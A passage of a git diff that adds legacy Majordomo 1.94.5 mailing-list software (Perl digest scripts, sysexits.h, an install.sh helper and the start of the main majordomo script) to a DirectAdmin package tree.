/^\s*$|^\s*#/; + chop; + ($key,$value) = split(/\s*=\s*/,$_,2); + $V{$key} = $value; + } + close(config); + + # Let's hope that nobody ever invokes us both with and + # without -C, since these locks don't interact + $lockfile = "$V{'INCOMING'}/.LOCK"; + &set_lock($lockfile) || + &abort("$program_name: can't get lock '$lockfile'\n"); + $lock_set = 1; + + open(header,$V{'HEADER'}) || &abort("$V{'HEADER'}: $!\n"); + $HEADER = join("",

    ); + close(header); + + open(trailer,$V{'TRAILER'}) || &abort("$V{'TRAILER'}: $!\n"); + $TRAILER = join("",); + close(trailer); + + open(VOL_FILE,$V{'VOL_FILE'}) || &abort("$V{'VOL_FILE'}: $!\n"); + $VOLUME = join("",); + chop($VOLUME); + close(VOL_FILE); + + open(NUM_FILE,$V{'NUM_FILE'}) || &abort("$V{'NUM_FILE'}: $!\n"); + $NUMBER = join("",); + chop($NUMBER); + close(NUM_FILE); + + } # end not using -C +} + +#my favorite of the existing getopt routines; twisted +# +sub getopt { + local($_,%opt,$rest) = (split(/([^:])/,$_[0]),''); + while ($_ = $ARGV[0], /^-(.)/ && shift(@ARGV)) { + $rest = $'; + last if $1 eq '-'; + if (!defined $opt{$1}) { + warn "Unrecognized switch \"-$1\".\n"; + return 0; + }elsif ($opt{$1}) { + $rest = shift(@ARGV) if $rest eq ''; + eval "\$opt_$1 = \$rest"; + }else{ + eval "\$opt_$1 = 1"; + $rest =~ /^(.)/; + redo if $rest ne ''; + } + } + return 1; +} + +sub cleanup { + unlink($TEMP); + exit(1); +} + +sub getdate { + local($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time); + $year += 1900; + return("$DAYS[$wday], $MONTHS[$mon] $mday $year"); +} + +sub abort { + local($msg) = shift; + + &free_lock($lockfile) if $lock_set; + die($msg); +} diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/digest.orig b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/digest.orig new file mode 100644 index 0000000..61680b3 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/digest.orig @@ -0,0 +1,503 @@ +#!/bin/perl + +# Original from J Greely , 9/30/92 +# +# Heavily modified by Brent Chapman + +# $Source: /sources/cvsrepos/majordomo/digest,v $ +# $Revision: 1.24 $ +# $Date: 2000/01/07 11:04:34 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Header: /sources/cvsrepos/majordomo/digest,v 1.24 2000/01/07 11:04:34 cwilson Exp $ +# +# + +# Before doing anything else tell the world I am majordomo +# The mj_ prefix is reserved for tools that are part of majordomo proper. +$main'program_name = 'mj_digest'; # '; + + +&init; +&readconfig; +$TEMP = (defined $TMPDIR && -d $TMPDIR) ? + "$TMPDIR/digest.$$" : "/usr/tmp/digest.$$"; + +if (defined($opt_r)) { + &receive_message; + if (&should_be_sent(1)) { + &make_digest; + } +} elsif (defined($opt_R)) { + &receive_message; +} elsif (defined($opt_m)) { + &make_digest; +} elsif (defined($opt_p)) { + if (&should_be_sent(1)) { + &make_digest; + } +} else { + &abort("Usage: digest {-r|-R|-m|-p} [-c config|(-C -l list)]\nStopped"); +} + +&free_lock($lockfile); + +exit(0); + +sub receive_message { + $i = 0; + do { + $file = sprintf("%s/%03d", $V{'INCOMING'}, ++$i); + } until (! -e $file); + + print STDERR "Receiving $i\n"; + open(MSG, ">$file") || &abort("open(MSG, \">$file\"): $!"); + + # copy the message + while () { + print MSG $_; + } + + close(MSG); +} + +# +# Use config variables to determine if a digest should be contructed +# and sent, or not. Measures line count and byte count of messages +# as they would appear in the digest, not as they exist in the spool +# dir. Side-effect: $file is the last file that should be included +# in this digest, based on the config variables. +# +sub should_be_sent { + # fudge factors for headers and footers + $sum = 600 + length($HEADER) + length($HEADERS) + length($TRAILER); + $lines = 25 + ($HEADER =~ s/\n/\n/g) + ($HEADERS =~ s/\n/\n/g) + + ($TRAILER =~ s/\n/\n/g); + ##print "start: lines = $lines\n"; + $i = shift; + while (1) { + $nextfile = sprintf("%s/%03d", $V{'INCOMING'}, $i++); + last unless (-e $nextfile); + $file = $nextfile; + open(COUNT, "<$file") || &abort("open(COUNT, \"<$file\"): $!"); + + $/ = ''; # grab the header + $head = ; + + # only count From/Date/Subject header fields to get a + # more accurate size and line count. + $head =~ s/\n\s+/ /g; + $head =~ /^(From:\s+.*)/i && ($sum += length($1)+1, $lines++); + $head =~ /^(Subject:\s+.*)/i && ($sum += length($1)+1, $lines++); + $head =~ /^(Date:\s+.*)/i && ($sum += length($1)+1, $lines++); + $sum++, $lines++; + + # count the body of the message + undef $/; + $body = ; + $sum += length($body); + $lines += ($body =~ s/\n/\n/g); # count newlines + + $/ = "\n"; + close(COUNT); + $sum += length($EB) + 3, $lines += 3; # account for message delimiter + + ##printf "After message %03d, lines = $lines\n", $i-1; + + if ($V{'DIGEST_SIZE'} && $sum > $V{'DIGEST_SIZE'}) { + return(1); + } + if ($V{'DIGEST_LINES'} && $lines > $V{'DIGEST_LINES'}) { + return(1); + } + if ($V{'MAX_AGE'} && (-M $file) > $V{'MAX_AGE'}) { + return(1); + } + } + + return(0); +} + +# +# Loop through calling 'should_be_sent' to find out how large each digest +# should be and calling send_digest to construct and send each digest. +# All the files in the spool directory are sent. This could be modified +# to only send "complete" digests. +# +# Note that this will quietly terminate if there are no messages in the +# spool. I find this preferable to an abort. +# +sub make_digest { + # disable age detection + $V{'MAX_AGE'} = 0; + # use 'should_be_sent' to find out how large each digest should be + # and loop through the spool dir until it's empty + $fnum = 0; + $nextfile = sprintf("%s/%03d", $V{'INCOMING'}, ++$fnum); + while (-e $nextfile) { + # starts at $fnum, sets '$file' to the last file to use + &should_be_sent($fnum); + &send_digest($file); + ($fnum) = $file =~ m#/(\d+)$#; + $nextfile = sprintf("%s/%03d", $V{'INCOMING'}, ++$fnum); + $NUMBER++; + } + + if (! $opt_d) { + if ( ! defined($opt_C) ) { + open(NUM_FILE, ">$V{'NUM_FILE'}") || + &abort("open(NUM_FILE, \">$NUM_FILE\"): $!"); + printf NUM_FILE "%d\n", $NUMBER; + close(NUM_FILE); + } else { # hurrah we are using the majordomo config file + $config_opts{$opt_l,"digest_issue"} = $NUMBER; + &config'writeconfig($listdir, $opt_l); + } + } +} + +# +# Contruct and send a digest using files in the spool directory up to and +# including the "last file" specified as the first argument. +# +sub send_digest { + local($lastfile) = shift; + if (opendir(DIR, $V{'INCOMING'})) { + @files = grep(/^\d+$/, readdir(DIR)); + closedir(DIR); + } + else { + &abort("Error opening $V{'INCOMING'}: $!\nStopped "); + } + &abort("No messages.\nStopped ") unless @files; + open(TEMP,">$TEMP") || &abort("$TEMP: $!\n"); + print STDERR "producing $V{'NAME'} V$VOLUME #$NUMBER\n"; + foreach (@files) { + $message = "$V{'INCOMING'}/$_"; + open(message) || &abort("$message: $!\n"); + print STDERR "\tprocessing $message\n"; + push(@processed,$message); + + $/ = ''; + $head = ; + $head =~ s/\n\s+/ /g; + $body = ""; + $subj = ($head =~ /^Subject:\s+(.*)/i)? $1: "[none]"; + ($from) = $head =~ /^From:\s+(.*)/i; + ($date) = $head =~ /^Date:\s+(.*)/i; + + undef $/; + $body = ; + close(message); + + # trim message fronter and footers inserted by resend in + # non digest version of list + if ($RMHEADER) { + $body =~ s/$RMHEADER/\n/; + } + if ($RMTRAILER) { + $body =~ s/$RMTRAILER/\n/; + } + + # escape ^From ... + $body =~ + s/^From (\S+\s+\w{3}\s+\w{3}\s+\d+\s+\d+:\d+:\d+)/>From $1/g; + $body =~ s/^-/- -/g; # escape encapsulation boundaries in message + # trim trailing \n's + $len = length($body) - 1; + $len-- while (substr($body,$len,1) eq "\n"); + substr($body,$len+1) = ""; + + $/ = "\n"; + +## note -- RFC 1153 claims the following headers should be retained, and +## presented in the following order: +## Date:, From:, To:, Cc:, Subject:, Message-ID:, and Keywords: + + push(@subj,$subj); + print TEMP <$DIGEST") || &abort("open(DIGEST, \">$DIGEST\"): $!"); + + print DIGEST <; + close(TEMP); + unlink($TEMP); + + $end = sprintf("End of %s V%d #%d", $V{'NAME'}, $VOLUME, $NUMBER); + print DIGEST $end, "\n"; + print DIGEST "*" x length($end), "\n"; + print DIGEST "\n"; + print DIGEST $TRAILER; + + close(DIGEST); + + if ($opt_d) { + warn "digest output in $TMPDIR/testdigest.$NUMBER\n"; + } else { + $sender = $V{'ERRORS-TO'}; + $mailcmd = eval qq/"$mailer"/; + system("$mailcmd $V{'REALLY-TO'} < $DIGEST"); + unlink(@processed); + } + + undef @subj; + undef @processed; + + return 0; +} + +sub init { + $* = 1; + $HOME = $ENV{"HOME"} || (getpwuid($>))[7]; + chdir($HOME); + &getopt("drRmpc:Cl:z") || + &abort("Usage: digest {-r|-R|-m|-p} [-c config|(-C -l list)]\nStopped"); + $config = $opt_c || "$HOME/.digestrc"; + $SIG{'INT'} = 'cleanup'; + @MONTHS = ("January","February","March","April","May","June","July", + "August","September","October","November","December"); + @DAYS = ("Sunday","Monday","Tuesday","Wednesday","Thursday", + "Friday","Saturday"); + $EB = "-" x 30; +} + +sub readconfig { + if (defined($opt_C)) { + if (!defined($opt_l)) { + &abort("-C used without -l"); + } else { + # Read and execute the .cf file + $cf = $opt_c || $ENV{"MAJORDOMO_CF"} || + "/etc/majordomo.cf"; + require "$cf"; + + chdir($homedir); + + $opt_l =~ tr/A-Z/a-z/; + + require "config_parse.pl"; + +# Define all of the mailer properties: +# It is possible that one or both of $sendmail_command and $bounce_mailer +# are not defined, so we provide reasonable defaults. +$sendmail_command = "/usr/lib/sendmail" + unless defined $sendmail_command; +$mailer = "$sendmail_command -oi -oee -f\$sender" + unless defined $mailer; +$bounce_mailer = "$sendmail_command -f\$sender -t" + unless defined $bounce_mailer; +&set_abort_addr($whoami_owner); +&set_mail_from($whoami); +&set_mail_sender($whoami_owner); +&set_mailer($bounce_mailer); + + # get the digest config file + # Let's hope that nobody ever invokes us both with and + # without -C, since these locks don't interact + $lockfile = "$listdir/$opt_l.config.LOCK"; + &set_lock($lockfile) || + &abort("$program_name: can't get lock '$lockfile'\n"); + $lock_set = 1; + &get_config($listdir, $opt_l, "locked"); + + # get details of parent list footers and headers + if ($config_opts{$opt_l,"digest_rm_fronter"}) { + &get_config($listdir, $config_opts{$opt_l,"digest_rm_fronter"}); + $RMHEADER = $config_opts{$config_opts{$opt_l,"digest_rm_fronter"}, + "message_fronter"}; + $RMHEADER =~ s/([^A-Za-z0-9 \001])/\\\1/g; + $RMHEADER =~ s/\\\$(SENDER|VERSION|LIST)/\[\^\\n\]\*/g; + $RMHEADER =~ s/\001/\\n/g; + } + if ($config_opts{$opt_l,"digest_rm_footer"}) { + if ($config_opts{$opt_l,"digest_rm_footer"} ne + $config_opts{$opt_l,"digest_rm_fronter"}) { + &get_config($listdir, $config_opts{$opt_l,"digest_rm_footer"}); + } + $RMTRAILER = $config_opts{$config_opts{$opt_l,"digest_rm_footer"}, + "message_footer"}; + $RMTRAILER =~ s/([^A-Za-z0-9 \001])/\\\1/g; + $RMTRAILER =~ s/\\\$(SENDER|VERSION|LIST)/\[\^\\n\]\*/g; + $RMTRAILER =~ s/\001/\\n/g; + } + + # map config opts to internal variables and $V array + $HEADER = $config_opts{$opt_l,"message_fronter"}; + $HEADER =~ s/\001/\n/g; + $TRAILER = $config_opts{$opt_l,"message_footer"}; + $TRAILER =~ s/\001/\n/g; + $VOLUME = $config_opts{$opt_l,"digest_volume"}; + $NUMBER = $config_opts{$opt_l,"digest_issue"}; + $Precedence = $config_opts{$opt_l,"precedence"}; + $Precedence = "bulk" if ($Precedence eq ""); + $V{'ARCHIVE'} = "$filedir/$opt_l$filedir_suffix"; + $V{'DIGEST_SIZE'} = $config_opts{$opt_l, "maxlength"}; + $V{'DIGEST_LINES'} = $config_opts{$opt_l, "digest_maxlines"}; + $V{'MAX_AGE'} = $config_opts{$opt_l, "digest_maxdays"}; + $V{'ERRORS-TO'} = $config_opts{$opt_l,"sender"} . "@" . + ($config_opts{$opt_l,"resend_host"} + ||$whereami); + $V{'FROM'} = $config_opts{$opt_l, "sender"}. "@" . + ($config_opts{$opt_l,"resend_host"} + ||$whereami); + $V{'INCOMING'} = "$digest_work_dir/$opt_l"; + $V{'NAME'} = $config_opts{$opt_l,"digest_name"}; + $V{'REALLY-TO'} = $ARGV[0]; + $V{'REPLY-TO'} = $config_opts{$opt_l,"reply_to"}; + $V{'TO'} = "$opt_l\@$whereami"; + + # make the headers keyword work + if ( $config_opts{$opt_l,"message_headers"} ne '' ) { + $from = $V{'FROM'}; + $HEADERS = &config'substitute_values ( + $config_opts{$opt_l,"message_headers"}, $opt_l); + $HEADERS =~ s/\001/\n/g; + } + } # list is defined + } else { # not using -C + require "config_parse.pl"; + +# Define all of the mailer properties: +# The majordomo.cf file isn't used in this option, so fake everything. +$sendmail_command = "/usr/lib/sendmail" + unless defined $sendmail_command; +$mailer = "$sendmail_command -oi -oee -f\$sender" + unless defined $mailer; +$bounce_mailer = "$sendmail_command -fmajordomo-owner -t" + unless defined $bounce_mailer; +&set_abort_addr("majordomo-owner"); +&set_mail_from("majordomo-owner"); +&set_mail_sender("majordomo-owner"); +&set_mailer($bounce_mailer); + + open(config) || &abort("$config: $!\n"); + while () { + next if /^\s*$|^\s*#/; + chop; + ($key,$value) = split(/\s*=\s*/,$_,2); + $V{$key} = $value; + } + close(config); + + # Let's hope that nobody ever invokes us both with and + # without -C, since these locks don't interact + $lockfile = "$V{'INCOMING'}/.LOCK"; + &set_lock($lockfile) || + &abort("$program_name: can't get lock '$lockfile'\n"); + $lock_set = 1; + + open(header,$V{'HEADER'}) || &abort("$V{'HEADER'}: $!\n"); + $HEADER = join("",
    ); + close(header); + + open(trailer,$V{'TRAILER'}) || &abort("$V{'TRAILER'}: $!\n"); + $TRAILER = join("",); + close(trailer); + + open(VOL_FILE,$V{'VOL_FILE'}) || &abort("$V{'VOL_FILE'}: $!\n"); + $VOLUME = join("",); + chop($VOLUME); + close(VOL_FILE); + + open(NUM_FILE,$V{'NUM_FILE'}) || &abort("$V{'NUM_FILE'}: $!\n"); + $NUMBER = join("",); + chop($NUMBER); + close(NUM_FILE); + + } # end not using -C +} + +#my favorite of the existing getopt routines; twisted +# +sub getopt { + local($_,%opt,$rest) = (split(/([^:])/,$_[0]),''); + while ($_ = $ARGV[0], /^-(.)/ && shift(@ARGV)) { + $rest = $'; + last if $1 eq '-'; + if (!defined $opt{$1}) { + warn "Unrecognized switch \"-$1\".\n"; + return 0; + }elsif ($opt{$1}) { + $rest = shift(@ARGV) if $rest eq ''; + eval "\$opt_$1 = \$rest"; + }else{ + eval "\$opt_$1 = 1"; + $rest =~ /^(.)/; + redo if $rest ne ''; + } + } + return 1; +} + +sub cleanup { + unlink($TEMP); + exit(1); +} + +sub getdate { + local($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time); + $year += 1900; + return("$DAYS[$wday], $MONTHS[$mon] $mday $year"); +} + +sub abort { + local($msg) = shift; + + &free_lock($lockfile) if $lock_set; + die($msg); +} diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/include/sysexits.h b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/include/sysexits.h new file mode 100644 index 0000000..464cb11 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/include/sysexits.h @@ -0,0 +1,118 @@ +/* + * Copyright (c) 1987, 1993 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * @(#)sysexits.h 8.1 (Berkeley) 6/2/93 + */ + +#ifndef _SYSEXITS_H_ +#define _SYSEXITS_H_ + +/* + * SYSEXITS.H -- Exit status codes for system programs. + * + * This include file attempts to categorize possible error + * exit statuses for system programs, notably delivermail + * and the Berkeley network. + * + * Error numbers begin at EX__BASE to reduce the possibility of + * clashing with other exit statuses that random programs may + * already return. The meaning of the codes is approximately + * as follows: + * + * EX_USAGE -- The command was used incorrectly, e.g., with + * the wrong number of arguments, a bad flag, a bad + * syntax in a parameter, or whatever. + * EX_DATAERR -- The input data was incorrect in some way. + * This should only be used for user's data & not + * system files. + * EX_NOINPUT -- An input file (not a system file) did not + * exist or was not readable. This could also include + * errors like "No message" to a mailer (if it cared + * to catch it). + * EX_NOUSER -- The user specified did not exist. This might + * be used for mail addresses or remote logins. + * EX_NOHOST -- The host specified did not exist. This is used + * in mail addresses or network requests. + * EX_UNAVAILABLE -- A service is unavailable. This can occur + * if a support program or file does not exist. This + * can also be used as a catchall message when something + * you wanted to do doesn't work, but you don't know + * why. + * EX_SOFTWARE -- An internal software error has been detected. + * This should be limited to non-operating system related + * errors as possible. + * EX_OSERR -- An operating system error has been detected. + * This is intended to be used for such things as "cannot + * fork", "cannot create pipe", or the like. It includes + * things like getuid returning a user that does not + * exist in the passwd file. + * EX_OSFILE -- Some system file (e.g., /etc/passwd, /etc/utmp, + * etc.) does not exist, cannot be opened, or has some + * sort of error (e.g., syntax error). + * EX_CANTCREAT -- A (user specified) output file cannot be + * created. + * EX_IOERR -- An error occurred while doing I/O on some file. + * EX_TEMPFAIL -- temporary failure, indicating something that + * is not really an error. In sendmail, this means + * that a mailer (e.g.) could not create a connection, + * and the request should be reattempted later. + * EX_PROTOCOL -- the remote system returned something that + * was "not possible" during a protocol exchange. + * EX_NOPERM -- You did not have sufficient permission to + * perform the operation. This is not intended for + * file system problems, which should use NOINPUT or + * CANTCREAT, but rather for higher level permissions. + */ + +#define EX_OK 0 /* successful termination */ + +#define EX__BASE 64 /* base value for error messages */ + +#define EX_USAGE 64 /* command line usage error */ +#define EX_DATAERR 65 /* data format error */ +#define EX_NOINPUT 66 /* cannot open input */ +#define EX_NOUSER 67 /* addressee unknown */ +#define EX_NOHOST 68 /* host name unknown */ +#define EX_UNAVAILABLE 69 /* service unavailable */ +#define EX_SOFTWARE 70 /* internal software error */ +#define EX_OSERR 71 /* system error (e.g., can't fork) */ +#define EX_OSFILE 72 /* critical OS file missing */ +#define EX_CANTCREAT 73 /* can't create (user) output file */ +#define EX_IOERR 74 /* input/output error */ +#define EX_TEMPFAIL 75 /* temp failure; user is invited to retry */ +#define EX_PROTOCOL 76 /* remote error in protocol */ +#define EX_NOPERM 77 /* permission denied */ +#define EX_CONFIG 78 /* configuration error */ + +#define EX__MAX 78 /* maximum listed value */ + +#endif /* !_SYSEXITS_H_ */ diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/install.sh b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/install.sh new file mode 100644 index 0000000..edfa862 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/install.sh @@ -0,0 +1,251 @@ +#! /bin/sh + +## (From INN-1.4, written by Rich Salz) +## $Revision: 1.1 $ +## A script to install files and directories. + +PROGNAME=`basename $0` + +## Paths to programs. CHOWN and WHOAMI are checked below. +CHOWN=chown +CHGRP=chgrp +CHMOD=chmod +CP=cp +LN=ln +MKDIR=mkdir +MV=mv +RM=rm +STRIP=strip +WHOAMI=whoami + +## Some systems don't support -x, so we have to use -f. +if [ ${CHOWN} = chown ] ; then + if [ -f /etc/chown ] ; then + CHOWN=/etc/chown + else + if [ -f /usr/etc/chown ] ; then + CHOWN=/usr/etc/chown + fi + fi +fi + +if [ ${WHOAMI} = whoami ] ; then + if [ -f /usr/ucb/whoami ] ; then + WHOAMI=/usr/ucb/whoami + fi +fi + +## Defaults. +CHOWNIT=false +CHGROUPIT=false +CHMODIT=false +STRIPIT=false +BACKIT=false +TOUCHIT=true +SAVESRC=false +ROOT=unknown + +## Process JCL. +MORETODO=true +while ${MORETODO} ; do + case X"$1" in + X-b) + BACKIT=true + BACKUP="$2" + shift + ;; + X-b*) + BACKIT=true + BACKUP=`expr "$1" : '-b\(.*\)'` + ;; + X-c) + SAVESRC=true + ;; + X-g) + GROUP="$2" + CHGROUPIT=true + shift + ;; + X-g*) + GROUP=`expr "$1" : '-g\(.*\)'` + CHGROUPIT=true + ;; + X-G) + case ${ROOT} in + unknown) + case `${WHOAMI}` in + root) + ROOT=true + ;; + *) + ROOT=false + ;; + esac + ;; + esac + GROUP="$2" + shift + ${ROOT} && CHGROUPIT=true + ;; + X-G*) + case ${ROOT} in + unknown) + case `${WHOAMI}` in + root) + ROOT=true + ;; + *) + ROOT=false + ;; + esac + ;; + esac + if ${ROOT} ; then + GROUP=`expr "$1" : '-g\(.*\)'` + CHGROUPIT=true + fi + ;; + X-m) + MODE="$2" + CHMODIT=true + shift + ;; + X-m*) + MODE=`expr "$1" : '-m\(.*\)'` + CHMODIT=true + ;; + X-n) + TOUCHIT=false + ;; + X-o) + OWNER="$2" + CHOWNIT=true + shift + ;; + X-o*) + OWNER=`expr "$1" : '-o\(.*\)'` + CHOWNIT=true + ;; + X-O) + case ${ROOT} in + unknown) + case `${WHOAMI}` in + root) + ROOT=true + ;; + *) + ROOT=false + ;; + esac + ;; + esac + OWNER="$2" + shift + ${ROOT} && CHOWNIT=true + ;; + X-O*) + case ${ROOT} in + unknown) + case `${WHOAMI}` in + root) + ROOT=true + ;; + *) + ROOT=false + ;; + esac + ;; + esac + if ${ROOT} ; then + OWNER=`expr "$1" : '-o\(.*\)'` + CHOWNIT=true + fi + ;; + X-s) + STRIPIT=true + ;; + X--) + shift + MORETODO=false + ;; + X-*) + echo "${PROGNAME}: Unknown flag $1" 1>&2 + exit 1 + ;; + *) + MORETODO=false + ;; + esac + ${MORETODO} && shift +done + +## Process arguments. +if [ $# -ne 2 ] ; then + echo "Usage: ${PROGNAME} [flags] source destination" + exit 1 +fi + +## Making a directory? +if [ X"$1" = X. ] ; then + DEST="$2" + if [ ! -d "${DEST}" ] ; then + ${MKDIR} "${DEST}" || exit 1 + fi + if ${CHOWNIT} ; then + ${CHOWN} "${OWNER}" "${DEST}" || exit 1 + fi + if ${CHGROUPIT} ; then + ${CHGRP} "${GROUP}" "${DEST}" || exit 1 + fi + if ${CHMODIT} ; then + umask 0 + ${CHMOD} "${MODE}" "${DEST}" || exit 1 + fi + exit 0 +fi + +## Get the destination and a temp file in the destination diretory. +if [ -d "$2" ] ; then + DEST="$2/$1" + TEMP="$2/$$.tmp" +else + DEST="$2" + TEMP="`expr "$2" : '\(.*\)/.*'`/$$.tmp" +fi + +## If not given the same name, we must try to copy. +if [ X"$1" != X"$2" -o $SAVESRC ] ; then + if cmp -s "$1" "${DEST}" ; then + ## Files are same; touch or not. + ${TOUCHIT} && touch "${DEST}" + else + ## If destination exists and we wish to backup, link to backup. + if [ -f "${DEST}" ] ; then + if ${BACKIT} ; then + ${RM} -f "${DEST}${BACKUP}" + ${LN} "${DEST}" "${DEST}${BACKUP}" + fi + fi + ## Copy source to the right dir, then move to right spot. + ## Done in two parts so we can hope for atomicity. + ${RM} -f "${TEMP}" || exit 1 + ${CP} "$1" "${TEMP}" || exit 1 + ${MV} -f "${TEMP}" "${DEST}" || exit 1 + fi +fi + +## Strip and set the modes. +if ${STRIPIT} ; then + ${STRIP} "${DEST}" || exit 1 +fi +if ${CHOWNIT} ; then + ${CHOWN} "${OWNER}" "${DEST}" || exit 1 +fi +if ${CHGROUPIT} ; then + ${CHGRP} "${GROUP}" "${DEST}" || exit 1 +fi +if ${CHMODIT} ; then + umask 0 + ${CHMOD} "${MODE}" "${DEST}" || exit 1 +fi +exit 0 diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/majordomo b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/majordomo new file mode 100644 index 0000000..acbdcb5 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/majordomo @@ -0,0 +1,1951 @@ +#!/bin/perl +# $Modified: Thu Jan 13 18:29:15 2000 by cwilson $ + +# majordomo: a person who speaks, makes arrangements, or takes charge +# for another. +# +# Copyright 1992, D. Brent Chapman. See the Majordomo license agreement for +# usage rights. +# +# $Source: /sources/cvsrepos/majordomo/majordomo,v $ +# $Revision: 1.95 $ +# $Date: 2000/01/13 17:29:31 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ + +# set our path explicitly +# PATH it is set in the wrapper, so there is no need to set it here. +# until we run suid... +#$ENV{'PATH'} = "/bin:/usr/bin:/usr/ucb"; + +# Before doing anything else tell the world I am majordomo +# The mj_ prefix is reserved for tools that are part of majordomo proper. +$main'program_name = 'mj_majordomo';#'; + +# Read and execute the .cf file +$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; + +while ($ARGV[0]) { # parse for config file or default list + if ($ARGV[0] =~ /^-C$/i) { # sendmail v8 clobbers case + $cf = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); + } elsif ($ARGV[0] eq "-l") { + $deflist = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); + } else { + die "Unknown argument $ARGV[0]\n"; + } +} +if (! -r $cf) { + die("$cf not readable; stopped"); +} + +require "$cf"; + +# Go to the home directory specified by the .cf file +chdir("$homedir") || die "chdir to $homedir failed, $!\n"; + +# If standard error is not attached to a terminal, redirect it to a file. +if (! -t STDERR) { + close STDERR; + open (STDERR, ">>$TMPDIR/majordomo.debug"); +} + +print STDERR "$0: starting\n" if $DEBUG; + +# All these should be in the standard PERL library +unshift(@INC, $homedir); +use POSIX qw(ctime); # To get MoY definitions for month abbrevs +require "majordomo_version.pl"; # What version of Majordomo is this? +require "majordomo.pl"; # all sorts of general-purpose Majordomo subs +require "shlock.pl"; # NNTP-style file locking +require "config_parse.pl"; # functions to parse the config files + +print STDERR "$0: requires succeeded. Setting defaults.\n" if $DEBUG; + +# Here's where the fun begins... +# check to see if the cf file is valid +die("\$listdir not defined. Is majordomo.cf being included correctly?") + if !defined($listdir); + +# Define all of the mailer properties: +# It is possible that one or both of $sendmail_command and $bounce_mailer +# are not defined, so we provide reasonable defaults. +$sendmail_command = "/usr/lib/sendmail" + unless defined $sendmail_command; +$bounce_mailer = "$sendmail_command -f\$sender -t" + unless defined $bounce_mailer; + + +&set_abort_addr($whoami_owner); +&set_mail_from($whoami); +&set_mail_sender($whoami_owner); +&set_mailer($bounce_mailer); + +$majordomo_dont_reply = $majordomo_dont_reply + || '(mailer-daemon|uucp|listserv|majordomo)\@'; + +# where do we look for files, by default? +if (!defined($filedir)) { + $filedir = $listdir; +} +if (!defined($filedir_suffix)) { + $filedir_suffix = ".archive"; +} + +# what command do we use to generate an index, by default? +if (!defined($index_command)) { + $index_command = "/bin/ls -lRL"; +} + +# where are we for FTP, by default? (note: only set this if $ftpmail is set) +if (defined($ftpmail_address)) { + if (!defined($ftpmail_location)) { + $ftpmail_location = $whereami; + } +} + +print STDERR "$0: done with defaults, parsing mail header.\n" if $DEBUG; + +# Parse the mail header of the message, so we can figure out who to reply to +&ParseMailHeader(STDIN, *hdrs); + +# Now we try to figure out who to send the replies to. +# $reply_to also becomes the default target for subscribe/unsubscribe +$reply_to = &RetMailAddr(*hdrs); + +print STDERR "$0: setting log file.\n" if $DEBUG; + +# Set up the log file +&set_log($log, $whereami, "majordomo", $reply_to); + +# if somebody has set $reply_to to be our own input address, there's a problem. +if (&addr_match($reply_to, $whoami)) { + &abort( "$whoami punting to avoid mail loop.\n"); + exit 0; +} + +if (! &valid_addr($reply_to)) { + &abort( "$whoami: $reply_to is not a valid return address.\n"); + exit 2; +} + +# robots should not reply to other robots... +if ($reply_to =~ m/$majordomo_dont_reply/i) { + &abort( "$whoami: not replying to $1 to avoid mail loop.\n"); + exit 0; +} + +if ($return_subject && defined $hdrs{'subject'}) { + $sub_addin = ": " . substr($hdrs{'subject'}, 0, 40); + } else { + $sub_addin = ''; + } + +print STDERR "$0: some quick sanity checks on permissions.\n" if $DEBUG; + +# do some sanity checking on permissions +# This bails out via abort if needed. +# +&check_permissions; + +print STDERR "$0: opening sendmail process.\n" if $DEBUG; + +# Open the sendmail process to send the results back to the requestor +&sendmail(REPLY, $reply_to, "Majordomo results$sub_addin"); + +select((select(REPLY), $| = 1)[0]); + +print STDERR "$0: processing commands in message body.\n" if $DEBUG; + +# Process the rest of the message as commands +while (<>) { + $approved = 0; # all requests start as un-approved + $quietnonmember = 0; # show non-member on unsubscribe + while ( /\\\s*$/ ) { # if the last non-whitespace + &chop_nl($_); # character is '\', chop the nl + 